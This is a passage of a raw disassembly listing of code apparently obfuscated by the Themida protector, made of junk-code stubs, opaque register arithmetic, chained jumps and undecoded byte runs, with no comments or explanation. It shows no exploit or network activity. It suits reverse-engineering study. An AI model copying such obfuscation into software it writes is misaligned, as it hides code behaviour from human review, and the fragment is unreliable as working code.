		dec	edx
		push	ebx
		jmp	loc_551C95
; ---------------------------------------------------------------------------
		dw 0CB81h
		dd 312D6339h, 99D8810Fh, 0EB810000h, 4625534Dh,	0BFE9D831h
		dd 0FF000096h, 669D1C77h, 1CD36659h, 8AE99C24h,	83FFFFCAh
		dd 0BF5704C4h, 474B5532h, 20E9DFF7h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54BEAF:				; CODE XREF: Themida_:0055097Fj
		pop	esp
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54BEB9:				; CODE XREF: Themida_:00555EF6j
		mov	esp, [esp]
		add	esp, 4
		shr	ecx, 0
		or	eax, eax
		jz	loc_555845
		push	50Ah
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55003B
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0FAF181D1h, 566EA567h, 667A86BEh, 15CE813Eh,	0E94B2C47h
		dd 0FFFFFDEEh
; ---------------------------------------------------------------------------

loc_54BEF8:				; CODE XREF: Themida_:0055059Ej
		pop	esi
		add	ecx, edx
		pop	edx
		jmp	loc_55554E
; ---------------------------------------------------------------------------

loc_54BF01:				; CODE XREF: Themida_:005524A7j
		mov	edx, 3462345Bh
		or	edx, 683A2036h
		sub	edx, offset byte_5AE55B
		jmp	loc_54BD60
; ---------------------------------------------------------------------------
		db 83h
		dd 48904ECh, 5E08924h, 4, 3561E9h, 0B4506600h, 66E1005Bh
		dd 8BC82858h, 0CEE9240Ch
		db 78h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54BF3B:				; CODE XREF: Themida_:0054F98Fj
		shr	ah, 5
		sub	ah, 3Eh
		mov	ch, ah
		mov	eax, [esp]
		jmp	loc_555944
; ---------------------------------------------------------------------------

loc_54BF4B:				; CODE XREF: Themida_:00549C84j
		pop	esi
		pop	dword ptr [esp]
		jmp	loc_54A9FF
; ---------------------------------------------------------------------------

loc_54BF54:				; CODE XREF: Themida_:00553004j
		imul	cx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		push	ebp
		mov	ebp, 96A17EFh
		shr	ebp, 6
		jmp	loc_54BC2B
; ---------------------------------------------------------------------------

loc_54BF6D:				; CODE XREF: Themida_:00555C50j
		mov	ebp, edi
		pop	edi
		sub	ebp, esi
		xchg	ebp, esi
		jmp	loc_554D15
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FFEAB0E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54BF81:				; CODE XREF: Themida_:0054EE1Dj
		or	si, 5FB7h
		ja	loc_54A156
		add	si, 0B94Ah
		push	small 0
		mov	edi, ebp
		pop	esp
		add	esp, 4
		jmp	loc_554705
; ---------------------------------------------------------------------------

loc_54BFA3:				; CODE XREF: Themida_:00550793j
		or	dx, 544h
		sub	dx, 6B5Dh
		xor	si, dx
		pop	edx
		add	si, 0FFFFh
		xor	si, 0D0ABh
		jmp	loc_54BCB1
; ---------------------------------------------------------------------------

loc_54BFBF:				; CODE XREF: Themida_:0054D1DDj
		pop	ecx
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		sub	esp, 4
		jmp	loc_5536AB
; ---------------------------------------------------------------------------

loc_54BFD5:				; CODE XREF: Themida_:0055124Fj
		push	esp
		pop	ecx
		add	ecx, 4
		jmp	loc_54B967
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 815F5424h, 4C7h, 5D86800h, 2C890000h, 4BD24h, 0C7810000h
		dd 14F503E6h, 0FBE9EF01h, 6600002Bh, 68240C8Bh,	6EE7h
		dd 0E9241C89h, 5E3h, 585D505Ah,	0FFEA30E9h, 5051ACFFh
		dd 0FFEFBCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C029:				; CODE XREF: Themida_:00550911j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		inc	eax
		jp	loc_555724
		shr	eax, 1
		jnz	loc_5538D1
		mov	dl, 6Bh

loc_54C044:				; CODE XREF: Themida_:0054CD5Dj
		push	ebx
		push	ecx
		push	ebx
		mov	bh, al
		mov	ch, bh
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_54CB93
; ---------------------------------------------------------------------------
		db 89h,	0E1h, 81h
		dd 4C1h, 4E98300h, 0FFF60FE9h, 42D59FFh, 33000000h, 4312404h
		dd 24043324h, 8924248Bh, 0FEBE2434h, 21000000h,	9E91C77h
		dd 55000026h, 71511ABDh, 4EDC11Dh, 0CCCD8145h, 0F77A8265h
		dd 90ED81D5h, 8119896Eh, 920949F5h, 5DEE3165h, 348BF021h
		dd 2E7BE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C0B6:				; CODE XREF: Themida_:005553E6j
		pop	edx
		sub	bl, 0DEh
		sub	esp, 4
		jmp	loc_554496
; ---------------------------------------------------------------------------
		db 89h,	0D7h, 5Ah
		dd 0D106EFC1h, 0E3F1E9EFh, 0B70FFFFFh, 6B3D68C8h, 0C890000h
		dd 3FBCE924h, 14330000h, 0B8E95C24h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C0EB:				; CODE XREF: Themida_:0054B12Dj
		neg	eax
		xor	eax, 0C81F289Ch
		add	[esp+4], eax
		pop	eax
		pop	edx
		push	ecx
		mov	ecx, 4
		add	edx, 257257CCh
		add	edx, ecx
		sub	edx, 257257CCh
		jmp	loc_54B5F0
; ---------------------------------------------------------------------------

loc_54C111:				; CODE XREF: Themida_:00554AB5j
		pop	edi
		sub	edx, 20C6483Eh
		add	edx, ecx
		add	edx, 20C6483Eh
		pop	ecx
		xchg	edx, [esp]
		mov	esp, [esp]
		inc	word ptr [esp]
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 4
		dd 0E9000000h, 8572h
; ---------------------------------------------------------------------------

loc_54C13C:				; CODE XREF: Themida_:0054F356j
		push	ebx
		mov	ebx, 25B04A34h
		push	ecx
		mov	ecx, 0DA4FB5CEh
		jmp	loc_54A02A
; ---------------------------------------------------------------------------
		db 0ADh, 56h, 0E9h
		dd 951Fh, 1121EE81h, 33E97E7Ch,	81FFFFCDh, 0FA7393F2h
		dd 5AD18938h, 1D4BE9h, 0DFED8100h, 53AA04A2h, 9DE9EB89h
		dd 6600001Dh, 6824048Bh, 6997h,	89242C89h, 4C581E5h, 0E9000000h
		dd 0FFFFDA31h
; ---------------------------------------------------------------------------

loc_54C194:				; CODE XREF: Themida_:005550BAj
		xchg	esi, [esp]
		jmp	loc_555F83
; ---------------------------------------------------------------------------

loc_54C19C:				; CODE XREF: Themida_:005492EDj
		dec	ch
		or	ch, 78h
		push	small 263Ah
		mov	[esp], dx
		jmp	loc_5523A5
; ---------------------------------------------------------------------------

loc_54C1AE:				; CODE XREF: Themida_:005553DAj
		xor	eax, ebp
		pop	ebp
		jmp	loc_54939F
; ---------------------------------------------------------------------------

loc_54C1B6:				; CODE XREF: Themida_:00549933j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		shr	esi, 4
		push	ebx
		push	esi
		push	64D069C4h
		jmp	loc_550447
; ---------------------------------------------------------------------------
		dw 0B850h
		dd 2D9C539Ch, 0B430A035h, 0F5A6E978h, 8F0FFFFFh, 0FFFFFC82h
		dd 6339CB81h, 810F312Dh, 0FFFFF54Eh, 2404285Eh,	0C71FE99Ch
		dd 9468FFFFh, 8900001Bh, 0B3E9241Ch, 42000012h,	1D73E9h
		db 0
; ---------------------------------------------------------------------------

loc_54C21D:				; CODE XREF: Themida_:0055177Cj
		shl	esi, 2
		jmp	loc_555E54
; ---------------------------------------------------------------------------

loc_54C225:				; CODE XREF: Themida_:00549509j
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_551458
; ---------------------------------------------------------------------------

loc_54C233:				; CODE XREF: Themida_:0054E9D9j
		add	dword ptr [esp], 4
		mov	esi, [esp]
		jmp	loc_54A300
; ---------------------------------------------------------------------------

loc_54C23F:				; CODE XREF: Themida_:0054E99Dj
		add	ebx, 0E9D4900h
		or	ebx, 36FF2F1Ah
		not	ebx
		xor	ebx, 72791E84h
		jmp	loc_54A57A
; ---------------------------------------------------------------------------
		dd 507EBF57h, 0F8291BF2h, 1055D5Fh, 0F7000000h,	8E8C1D8h
		dd 99A7E951h, 5A660000h, 9356E9h, 0EE876600h, 6602EC83h
		dd 66243489h, 22474FFh,	24348B66h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		jmp	loc_55054C
; ---------------------------------------------------------------------------

loc_54C2A0:				; CODE XREF: Themida_:0054D119j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_550798
; ---------------------------------------------------------------------------

loc_54C2B0:				; CODE XREF: Themida_:0054BD5Bj
		sub	[edi+24h], esi
		mov	esi, [esp]
		add	esp, 4

loc_54C2B9:				; CODE XREF: Themida_:loc_54D03Aj
		push	2043h
		mov	[esp], ecx
		push	ebp
		mov	ebp, ebx
		jmp	loc_553233
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E924048Bh, 7B11h
; ---------------------------------------------------------------------------

loc_54C2D4:				; CODE XREF: Themida_:00550FB7j
					; Themida_:005543FBj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 24h
		add	edx, edi
		add	[edx], esi
		jmp	loc_54D9E2
; ---------------------------------------------------------------------------

loc_54C2E8:				; CODE XREF: Themida_:00550ED9j
		xor	esi, 54E6CFDh
		add	ebx, esi
		mov	esi, [esp]
		jmp	loc_54C520
; ---------------------------------------------------------------------------

loc_54C2F8:				; CODE XREF: Themida_:00549721j
		sub	edx, 66A21134h
		neg	edx
		inc	edx
		add	edx, 0B2036A56h
		add	esi, edx
		pop	edx
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54A32E
; ---------------------------------------------------------------------------

loc_54C320:				; CODE XREF: Themida_:0054D5C9j
		neg	ebp
		ja	loc_553046
		jmp	loc_54E865
; ---------------------------------------------------------------------------
aXsD		db 'XИ╦└',0
		db 0
; ---------------------------------------------------------------------------

loc_54C333:				; CODE XREF: Themida_:0054F40Dj
		jnp	loc_54923E
		jmp	loc_54E67C
; ---------------------------------------------------------------------------
		dw 69BAh
		db 7Fh,	17h, 78h
; ---------------------------------------------------------------------------

loc_54C343:				; CODE XREF: Themida_:00551D45j
		sub	eax, 48CD0E4Ah
		add	eax, ebp
		add	eax, 48CD0E4Ah
		jmp	loc_551BC5
; ---------------------------------------------------------------------------
		dd 41B85BFh, 5FFE2952h,	1008E9h, 75C38000h, 14B3E9h, 0E9815E00h
		dd 76152C60h, 4246C81h,	6814B89h, 2CCAE9h, 59F58100h, 2900BFD2h
		dd 0C875DE9h, 8BE7E924h, 34310000h, 24343324h, 6624248Bh
		dd 0E99CC83Bh, 33A1h
; ---------------------------------------------------------------------------

loc_54C3A0:				; CODE XREF: Themida_:005499CDj
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		push	edx
		jmp	loc_552929
; ---------------------------------------------------------------------------
		db 81h
		dd 0CE19E9F5h, 0F76E968h, 0EEC10000h, 78850F07h, 96FFFFD6h
		dd 0E996D0F7h, 0FFFFC93Ah, 8BE78957h, 248957D1h, 24048324h
		dd 24148B04h, 0E904C483h, 0FFFFE80Ah, 0FFD96EE9h, 240C89FFh
		dd 2B9h, 59CE0100h, 8B243487h, 0F7662424h, 206866E1h, 14896607h
		dd 9C506624h, 0FFC514E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C415:				; CODE XREF: Themida_:00549D5Aj
		add	edx, ebx
		jmp	loc_5509D5
; ---------------------------------------------------------------------------
		dd 835DEF01h, 0EC8304C7h, 426BE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C42A:				; CODE XREF: Themida_:0054CF4Cj
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 24EF6D9Eh
		xor	esi, edx
		pop	edx
		sub	eax, esi
		jmp	loc_54DA3F
; ---------------------------------------------------------------------------
		db 5
		dd 0D692F0FDh, 48BC589h, 4C48124h, 81000000h, 0B00288CDh
		dd 4DD5F73Ah, 0E957D5F7h, 0FFFFD11Eh
; ---------------------------------------------------------------------------

loc_54C460:				; CODE XREF: Themida_:0054AE71j
		push	edx
		mov	edx, 81C0D801h
		jmp	loc_54FC4E
; ---------------------------------------------------------------------------

loc_54C46B:				; CODE XREF: Themida_:0054F7ACj
		sub	al, 9Bh
		jmp	loc_54DA23
; ---------------------------------------------------------------------------

loc_54C472:				; CODE XREF: Themida_:005491CAj
		pop	esp
		jmp	loc_555033
; ---------------------------------------------------------------------------
		dd 0E9240C32h, 8946h, 5E243429h, 8904EC83h, 96BB241Ch
		dd 0C12B4168h, 8B0F06EBh, 3407h, 77E38143h, 0F03D52Ch
		dd 0FFE4E683h
		db 0FFh, 8Ah, 0CAh
; ---------------------------------------------------------------------------

loc_54C4A7:				; CODE XREF: Themida_:loc_54A3F2j
		or	ebp, 5D6002ABh
		sub	ebp, 5FE67B64h
		jz	loc_54DB3C
		add	ebp, 647F561Dh
		jmp	loc_550EAA
; ---------------------------------------------------------------------------

loc_54C4C4:				; CODE XREF: Themida_:00551B5Ej
		neg	al
		and	al, 0EFh
		and	al, 62h
		xor	al, 0D6h
		add	al, 86h
		add	dl, al
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	bh, 69h
		sub	dl, bh
		jmp	loc_549C1E
; ---------------------------------------------------------------------------
		db 59h
		dd 6804C383h, 368Ch, 0FF241C89h, 8B042474h, 8951241Ch
		dd 5BC4E9E1h, 0ECBB0000h, 81590F29h, 237FC6E9h,	0E1F0E96Eh
		dd 0C481FFFFh, 2, 0FFFD60E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C519:				; CODE XREF: Themida_:0054A478j
		add	edx, ebp
		jmp	loc_555DD2
; ---------------------------------------------------------------------------

loc_54C520:				; CODE XREF: Themida_:0054C2F3j
		add	esp, 4
		push	dword ptr [eax]
		jmp	loc_548929
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 24048B24h, 6804C483h, 2676h,	0E9242C89h, 5740h
; ---------------------------------------------------------------------------

loc_54C540:				; CODE XREF: Themida_:0055472Cj
		mov	ebp, 2C5D4BABh
		xor	edi, ebp
		pop	ebp
		shr	edi, 1
		shr	edi, 7
		jmp	loc_550711
; ---------------------------------------------------------------------------

loc_54C552:				; CODE XREF: Themida_:0054FC2Cj
		pop	edx
		jmp	loc_54FCDC
; ---------------------------------------------------------------------------
		dd 9C243CD3h, 0FFC3C8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54C561:				; CODE XREF: Themida_:00551CB3j
		mov	[esp], edx
		mov	edx, 37C139ADh
		jmp	loc_54F723
; ---------------------------------------------------------------------------

loc_54C56E:				; CODE XREF: Themida_:0054FBDEj
		jns	loc_54CF7C
		not	bl
		or	bl, 0FDh
		xor	bl, 8Ch
		mov	bh, 0C6h
		push	esi
		mov	edx, 4F42E0Eh
		sub	edx, 58922844h
		push	5888h
		jmp	loc_551FBA
; ---------------------------------------------------------------------------
		db 29h,	0F5h, 5Eh
		dd 0CCE4C581h, 0E801703Dh, 2C46E9h
		db 0
; ---------------------------------------------------------------------------

loc_54C5A5:				; CODE XREF: Themida_:00553BDAj
		xchg	ebp, [esp]
		pop	esp
		mov	ecx, [esp]
		sub	esp, 4
		jmp	loc_54B473
; ---------------------------------------------------------------------------
		db 81h
		dd 2C6h, 7DCDE900h, 0C4810000h,	4, 0E904C483h, 0FFFFE0D8h
		dd 0CF803BB7h, 0E9CFFE92h, 945Eh
; ---------------------------------------------------------------------------

loc_54C5DC:				; CODE XREF: Themida_:005555E5j
		mov	esp, [esp]
		xchg	edi, [esp]
		jmp	loc_54CAB2
; ---------------------------------------------------------------------------

loc_54C5E7:				; CODE XREF: Themida_:0054D4D1j
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_54CC7C
; ---------------------------------------------------------------------------

loc_54C5F0:				; CODE XREF: Themida_:0054DBCEj
		mov	esp, [esp]
		and	eax, edx
		pop	edx
		jmp	loc_555081
; ---------------------------------------------------------------------------
		db 54h
		dd 4C3815Bh, 83000000h,	348904ECh, 26824h, 7BE90000h
		db 94h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C613:				; CODE XREF: Themida_:0054D3AEj
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_549CB8
; ---------------------------------------------------------------------------
		db 0F7h, 0DFh, 0Fh
		dd 134C85h, 0A8E78100h,	81621B1Bh, 141BC6F7h, 51F58A04h
		dd 902FB2B9h, 0D0E9564Eh, 66000017h, 68240C8Bh,	51E5h
		dd 0E9241C89h, 9498h
; ---------------------------------------------------------------------------

loc_54C658:				; CODE XREF: Themida_:0055215Aj
		pop	ecx
		sub	ebx, 3F2B348Fh
		push	ebp
		mov	ebp, 7F144D1h
		sub	esp, 4
		mov	[esp], ebp
		dec	dword ptr [esp]
		jmp	loc_555D8C
; ---------------------------------------------------------------------------

loc_54C673:				; CODE XREF: Themida_:0054D92Bj
		pop	ebp
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54FC1E
; ---------------------------------------------------------------------------
aL4S		db '▀4$И=',8,0
		align 10h

loc_54C690:				; CODE XREF: Themida_:0054B6A5j
		jz	loc_54D12C
		shr	eax, 6
		jmp	loc_54D930
; ---------------------------------------------------------------------------
aRqsey		db 'RQИ┘y',0
		db 0
; ---------------------------------------------------------------------------

loc_54C6A5:				; CODE XREF: Themida_:0054D035j
		not	edi
		xor	edi, 69F00E62h
		or	edi, 3E210C20h
		jmp	loc_54D11E
; ---------------------------------------------------------------------------

loc_54C6B8:				; CODE XREF: Themida_:00555639j
		inc	edx
		jnz	loc_54D72C
		push	2A40h
		jmp	loc_555411
; ---------------------------------------------------------------------------
		db 5Bh,	8Bh, 14h
		db 24h,	53h
; ---------------------------------------------------------------------------

loc_54C6CE:				; CODE XREF: Themida_:00551911j
		mov	bh, 4Ch
		sub	al, bh
		jmp	loc_54EADA
; ---------------------------------------------------------------------------
		db 89h
		dd 0E9F189FEh, 0FFFFFFA8h, 0E9E28952h, 5A96h, 0E1EEE950h
		dd 2C87FFFFh, 7E0CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C6F6:				; CODE XREF: Themida_:00555179j
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_5514CA
; ---------------------------------------------------------------------------
aZsO		db ')уZИ}▌',0
		db 0
; ---------------------------------------------------------------------------

loc_54C709:				; CODE XREF: Themida_:0054D214j
		mov	ecx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		jmp	loc_54FF7E
; ---------------------------------------------------------------------------
		db 30h,	0C1h, 58h
		dd 0FC180h, 576859C8h, 8900004Dh, 5CB22414h, 809CE280h
		dd 0E2C0ACE2h, 80D2F606h, 11E983F2h, 8100005Ch,	4C6h, 4EE8100h
		dd 87000000h, 895C2434h, 74FF2414h, 148B0424h, 4C48124h
		dd 8F000000h, 248B2404h, 240C8924h, 0B6E9008Fh
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C773:				; CODE XREF: Themida_:0054A3D1j
		add	edi, 2
		jmp	loc_54FB32
; ---------------------------------------------------------------------------

loc_54C77B:				; CODE XREF: Themida_:0054ADEEj
		xor	di, 40D1h
		jnz	loc_54FBC6
		jmp	loc_54DFEA
; ---------------------------------------------------------------------------
		db 66h
		dd 52240C89h, 5B12B353h
; ---------------------------------------------------------------------------

loc_54C794:				; CODE XREF: Themida_:00550CF9j
		and	eax, 74FE644Bh
		sub	eax, 0D3591027h
		mov	edi, eax
		pop	eax
		and	edi, 1EB416F1h
		inc	edi
		neg	edi
		inc	edi
		push	ebp
		mov	ebp, 63A267F8h
		xor	ebp, 27097DBAh
		sub	ebp, 453F2116h
		sub	edi, ebp
		pop	ebp
		jmp	loc_54FB56
; ---------------------------------------------------------------------------

loc_54C7C5:				; CODE XREF: Themida_:0054AA45j
		mov	eax, [esp]
		push	22E7h
		mov	[esp], eax
		jmp	loc_553D10
; ---------------------------------------------------------------------------

loc_54C7D5:				; CODE XREF: Themida_:loc_551B63j
		xor	ebx, 839628D5h
		jmp	loc_551E33
; ---------------------------------------------------------------------------
		dd 240CFF53h, 81241C8Bh, 4C4h, 5BCB8100h, 0F730B763h, 7CEB81D3h
		dd 89C3489Ch, 0C8015BD9h, 26C8E9h, 2852B600h, 7319E9F4h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C80E:				; CODE XREF: Themida_:00555279j
		add	eax, edx
		jmp	loc_54FC27
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 1Eh
		dd 896D83A2h, 0BD555EF3h, 0BE9FE543h, 0B9E9E889h, 53FFFFE6h
		dd 0C381E389h, 4, 4EB81h, 1C870000h, 1C895C24h,	52E38924h
		dd 0AA75DBBAh, 6E2C172h, 167CE9h
		db 0
; ---------------------------------------------------------------------------

loc_54C851:				; CODE XREF: Themida_:loc_54B783j
		push	77E4h
		mov	[esp], edx
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54C85E:				; CODE XREF: Themida_:0054F5D7j
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_54DBAB
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFFC0B5h
; ---------------------------------------------------------------------------

loc_54C874:				; CODE XREF: Themida_:0054A125j
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		jmp	loc_552B2C
; ---------------------------------------------------------------------------
		db 83h
		dd 51E9FFC3h, 8BFFFFFFh, 0BF0F2424h, 0CD068C8h,	0C890000h
		dd 0C087E924h, 6664FFFFh, 6866028Bh, 896646B6h,	0A7E92404h
		dd 83000044h, 48704C0h,	3C335C24h, 243C3124h, 8B243C33h
		dd 0EC832424h, 24148904h, 1FE9E289h
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C8D3:				; CODE XREF: Themida_:0054D016j
		not	esi
		xor	esi, 0C96CFA49h
		mov	edi, esi
		pop	esi
		push	edx
		mov	edx, 56CA4305h
		or	edx, 18B5782Bh
		add	edx, 0DD9589B3h
		jmp	loc_54EFB5
; ---------------------------------------------------------------------------

loc_54C8F5:				; CODE XREF: Themida_:0054AEA3j
		push	esp
		pop	edi
		push	edx
		mov	edx, 4
		jmp	loc_551254
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8956240Ch, 4C681E6h,	83000000h, 0EAE904EEh
		db 0CEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54C917:				; CODE XREF: Themida_:0054ABDBj
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		cmp	ecx, eax
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------
		dw 0FF51h
		dd 18E9240Ch, 30000012h, 0C884E9D1h, 0C381FFFFh, 72634F57h
		dd 0B752EB81h, 0DF0195CDh, 0A6BB535Bh, 0E91E8920h, 1FD4h
; ---------------------------------------------------------------------------

loc_54C950:				; CODE XREF: Themida_:0054FD00j
		push	ecx
		jmp	loc_554EA0
; ---------------------------------------------------------------------------

loc_54C956:				; CODE XREF: Themida_:0054D5EEj
		mov	[esp], esi
		mov	esi, esp
		push	edi
		mov	edi, 5202040Ch
		neg	edi
		dec	edi
		push	ebx
		mov	ebx, 57E0B1Eh
		inc	ebx
		jmp	loc_54F62B
; ---------------------------------------------------------------------------

loc_54C970:				; CODE XREF: Themida_:0055436Dj
		jmp	loc_552BF4
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 97h
		dd 0F4D4347h, 6F568Bh, 22C38100h, 1FDDE82h, 4875BD8h, 96E95C24h
		dd 0FFFFBFh, 661504D8h,	64B4E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C99E:				; CODE XREF: Themida_:0054F550j
		xchg	ebx, [esp]
		pop	esp
		pop	ebx
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_54C9A8:				; CODE XREF: Themida_:0055366Ej
		xchg	edi, [esp]
		jmp	loc_5522B7
; ---------------------------------------------------------------------------

loc_54C9B0:				; CODE XREF: Themida_:0054B244j
		mov	eax, 7C375008h
		add	eax, 2E520C67h
		jmp	loc_54925A
; ---------------------------------------------------------------------------

loc_54C9BF:				; CODE XREF: Themida_:00550FDDj
		jo	loc_551EC9
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_553A68
; ---------------------------------------------------------------------------

loc_54C9D0:				; CODE XREF: Themida_:0054A7F9j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		jmp	loc_55008A
; ---------------------------------------------------------------------------
		db 89h,	0C2h, 8Bh
		dd 99E92404h, 5EFFFFDAh, 2BA52h, 0D3010000h, 8124148Bh
		dd 4C4h, 241C8700h, 0E924248Bh,	0FFFFF7F5h
; ---------------------------------------------------------------------------

loc_54CA0C:				; CODE XREF: Themida_:0054E369j
		xor	ebx, 47047E57h
		jmp	loc_554F03
; ---------------------------------------------------------------------------

loc_54CA17:				; CODE XREF: Themida_:0054A151j
					; Themida_:0054A9A6j
		mov	ebx, 6B454214h
		jmp	loc_54F622
; ---------------------------------------------------------------------------

loc_54CA21:				; CODE XREF: Themida_:0054DE74j
		add	edx, 0E7C8D8B8h
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_54AD98
; ---------------------------------------------------------------------------
		dd 4DFE6855h, 815D76A4h, 895F9DC5h, 0F6890F2Dh,	0E9000076h
		dd 0FFFFDFFEh
; ---------------------------------------------------------------------------

loc_54CA4C:				; CODE XREF: Themida_:0054D127j
		add	esi, edi
		jmp	loc_54DCE6
; ---------------------------------------------------------------------------

loc_54CA53:				; CODE XREF: Themida_:00549FE7j
		add	ebp, 382FEDB8h
		jmp	loc_550B61
; ---------------------------------------------------------------------------

loc_54CA5E:				; CODE XREF: Themida_:0055167Fj
		mov	dl, al
		pop	ax
		mov	bh, dl
		jmp	loc_552119
; ---------------------------------------------------------------------------

loc_54CA69:				; CODE XREF: Themida_:005500D1j
		add	bl, cl
		pop	cx
		add	bl, 23h
		sub	bl, 4Bh
		jmp	loc_555226
; ---------------------------------------------------------------------------
		dd offset dword_4830AC+299BCh
		dd 24148900h, 26243481h, 5E272C48h, 4826B850h, 0C631272Ch
		dd 2A8AE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54CA96:				; CODE XREF: Themida_:0054CBA8j
		mov	[esp], eax
		mov	al, bh
		push	ecx
		jmp	loc_553BF6
; ---------------------------------------------------------------------------

loc_54CAA1:				; CODE XREF: Themida_:005512A1j
		add	ecx, 0FB9B65DBh
		add	edi, 7D412077h
		jmp	loc_554355
; ---------------------------------------------------------------------------

loc_54CAB2:				; CODE XREF: Themida_:0054C5E2j
		mov	esp, [esp]
		jmp	loc_54F3C7
; ---------------------------------------------------------------------------

loc_54CABA:				; CODE XREF: Themida_:0055403Ej
		or	ebx, 7C2604FCh
		xor	ebx, 79902807h
		jmp	loc_551289
; ---------------------------------------------------------------------------
aSg		db '\И┐ ',0
		dd 4C48100h, 33000000h,	14312414h, 24143324h, 0E924248Bh
		dd 307Ah
; ---------------------------------------------------------------------------

loc_54CAE8:				; CODE XREF: Themida_:loc_555A5Bj
		jmp	loc_552EC2
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 1Eh
		dd 8779FA19h, 0C7DE9DDh, 0D3F60000h, 0EC81DD86h, 4, 0B2241489h
		dd 7A16E977h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54CB0E:				; CODE XREF: Themida_:00548C38j
		mov	ebx, 17A47A8Ah
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, ebx
		mov	esi, ebp
		jmp	loc_552AE1
; ---------------------------------------------------------------------------
		dw 0C981h
		dd 31A1050Bh, 0E94F890Fh, 0E1C1FFFFh, 0BDF18105h, 0E97BC61Fh
		dd 72ECh
; ---------------------------------------------------------------------------

loc_54CB3C:				; CODE XREF: Themida_:0054DA1Ej
		sub	ebp, esi
		pop	esi
		mov	ebx, [esp]
		add	esp, 4
		mov	edx, ebp
		pop	ebp
		add	edx, ebx
		add	eax, [edx]
		jmp	loc_553A8C
; ---------------------------------------------------------------------------

loc_54CB51:				; CODE XREF: Themida_:0054B5A0j
		mov	dl, 86h
		or	bh, dl
		jmp	loc_55351B
; ---------------------------------------------------------------------------

loc_54CB5A:				; CODE XREF: Themida_:0055161Ej
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	517Bh
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		jmp	loc_5517C2
; ---------------------------------------------------------------------------

loc_54CB84:				; CODE XREF: Themida_:00553AFDj
		pop	edi
		shl	esi, 8
		sub	esp, 4
		jmp	loc_549B31
; ---------------------------------------------------------------------------

loc_54CB93:				; CODE XREF: Themida_:0054C054j
		push	edx
		mov	dl, ch
		mov	bh, dl
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		push	4375h
		jmp	loc_54CA96
; ---------------------------------------------------------------------------

loc_54CBAD:				; CODE XREF: Themida_:00553EE2j
		pop	edx
		jmp	loc_54FD50
; ---------------------------------------------------------------------------

loc_54CBB3:				; CODE XREF: Themida_:005526EDj
